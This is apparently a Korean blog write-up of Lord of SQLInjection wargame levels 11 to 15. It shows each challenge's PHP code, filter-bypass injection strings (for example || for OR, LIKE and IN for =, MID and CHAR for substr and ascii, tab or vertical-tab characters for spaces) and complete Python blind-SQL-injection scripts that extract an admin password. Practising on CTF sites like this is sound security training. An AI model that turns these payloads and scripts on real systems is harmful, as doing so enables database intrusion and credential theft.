LOS 11~15번
11번 golem
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>
벤된 글자들을 보면 or, and, substr, =이 있다.
나머지는 7번과 비슷한 형태의 blind SQLi 문제이다.
우선 or은 ||로, pw의 길이 같은 경우에는 length(pw)와 부등호로 잡을 수 있다.
1
https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=%27||length(pw)>7%23
그리고
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import string
import requests
my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
idLength = 15
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
abc = string.digits + string.ascii_letters
print("Start Blind attack")
result = ""
for i in range(1, idLength + 1):
for a in abc:
# LIKE 사용 (= 대신)
param = "?pw='||ASCII(MID(pw," + str(i) + ",1))like(" + str(ord(a)) + ")%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
print(str(i) + "번째 char is: " + a)
result += a
break
print("result: " + result)
’=’ 대신에 like을 쓰고, substr 대신 MID를 쓰면 우회가 간단하게 된다.
12번 darkknight
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
pw와 no 둘 다 싱글 쿼터는 사용할 수 없고 그래도 no 뒤에 ||를 삽입해서 우회는 가능하다.
1
https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=admin&no=1||1%23
이후는 또 blindSQLi가 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests
my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 30):
param = "?pw=admin&no=3||id like 0x61646d696e%26%26length(pw) like " + str(length) + "%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in abc:
# MID + CHAR로 우회
param = "?pw=admin&no=3||id like 0x61646d696e%26%26MID(pw," + str(i) + ",1) like CHAR(" + str(ord(a)) + ")%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
print(f"{i}번째 char is: {a}")
result += a
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
ascii는 mid+char로 우회가 간단하게 된다.
이렇게 sqli CTF 풀다보면 LLM이 우회 방법도 나름 잘 찾아주는데 꼭 한개씩 틀릴때가 있다.
지금도 LLM 코드는 \&\&로 넣어서 오류가 났는데 %26%26으로 줘야 한다.
대충 LLM이 코드를 짜주면 사람이 슥슥 보면서 고치는 것이 실력인 것 같기두 하고
13번 bugbear
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear");
highlight_file(__FILE__);
?>
또 blind SQLi이다.
아까랑 다르게 하면 공백을 %09로 위회하고, 싱글 쿼터만 필터링이나까 더블 쿼터로 우회한다
그리고 like은 in () 을 통해서 우회를 하면 해결이 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import string
import requests
my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 30):
param = "?pw=1&no=1||id%09in%09(%22admin%22)%26%26length(pw)%09in%09(" + str(length) + ")%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
for a in abc:
# MID + CHAR로 우회
param = "?pw=admin&no=3||id%09in%09(%22admin%22)%26%26MID(pw," + str(i) + ",1)%09in%09(CHAR(" + str(ord(a)) + "))%23"
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello admin</h2>") > 0:
print(f"{i}번째 char is: {a}")
result += a
break
print(f"\n=== Result ===")
print(f"admin pw: {result}")
전체적인 쿼리는
1
2
3
4
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&no=1||id%09in%09(%22admin%22)%26%26length(pw)%09in%09(8)
->
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=1&no=1||id in ("admin")%26%26length(pw) in (8)
이런 느낌을 통해서 된다.
14번 giant
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(strlen($_GET[shit])>1) exit("No Hack ~_~");
if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");
$query = "select 1234 from{$_GET[shit]}prob_giant where 1";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result[1234]) solve("giant");
highlight_file(__FILE__);
?>
코드를 보면 공백 관련한 글자들을 필터링하고 있다.
shift에 들어가는 값은 길이가 1이어야 하고, 들어가는 쿼리에 영향을 주면 안되는 것 같다.
그러면 넣을 수 있는 것은 %0b, %0c가 있다.
%00 NULL 문자는 문자열 종료자로 처리되기 때문에 문자열을 끊어버려서 안된다고 한다.
15번 assassin
1
2
3
4
5
6
7
8
9
10
11
12
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
pw에 값을 넣을 수 있고, 싱글 쿼터 필터링이 있다.
like 구문에 값을 넣을 수 있는데 like는 \% 문자를 와일드카드로 사용할 수 있다.
또 _문자를 한 문자라는 의미로 사용할 수 있다.
이렇게 %를 넣으면 hello guest를 확인할 수 있다.
이것을 응용하면 길이와 값을 구할 수 있다.
중요한 것은 guest와 admin을 구별할 수 없기 때문에 admin이 나오는 순간을 잘 찾아야 한다.
지금 같은 경우에는 90까지는 같고, 3번째 글자가 d와 2로 분기되어서 guest와 admin이 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import string
import requests
my_cookies = dict(PHPSESSID="1rcr9hmc456an899cegncn1c61")
url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php"
abc = string.digits + string.ascii_letters
print("=== Step 1: Finding admin pw length ===")
idLength = 0
for length in range(1, 30):
# _ 를 length 개수만큼 반복하여 길이 확인
param = "?pw=" + "_" * length
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello guest</h2>") > 0:
# 한 글자 더 추가했을 때 매칭 안되면 정확한 길이
param_check = "?pw=" + "_" * (length + 1)
res_check = requests.get(url + param_check, cookies=my_cookies)
if res_check.text.find("<h2>Hello admin</h2>") <= 0:
idLength = length
print(f"admin pw length: {idLength}")
break
if idLength == 0:
print("Length not found!")
exit()
print("\n=== Step 2: Finding admin pw ===")
result = ""
for i in range(1, idLength + 1):
found = False
for a in abc:
# 앞부분은 이미 찾은 문자, 현재 위치는 테스트할 문자, 나머지는 _
pattern = result + a + "_" * (idLength - i)
param = "?pw=" + pattern
new_url = url + param
res = requests.get(new_url, cookies=my_cookies)
if res.text.find("<h2>Hello guest</h2>") > 0:
print(f"{i}번째 char is: {a}")
result += a
found = True
if res.text.find("<h2>Hello admin</h2>") > 0:
print(f"{i}번째 char is: {a}")
result += a
found = True
break
if not found:
print(f"{i}번째 char not found in basic set")
print(f"\n=== Result ===")
print(f"admin pw: {result}")
1
2
=== Result ===
admin pw: 902efd10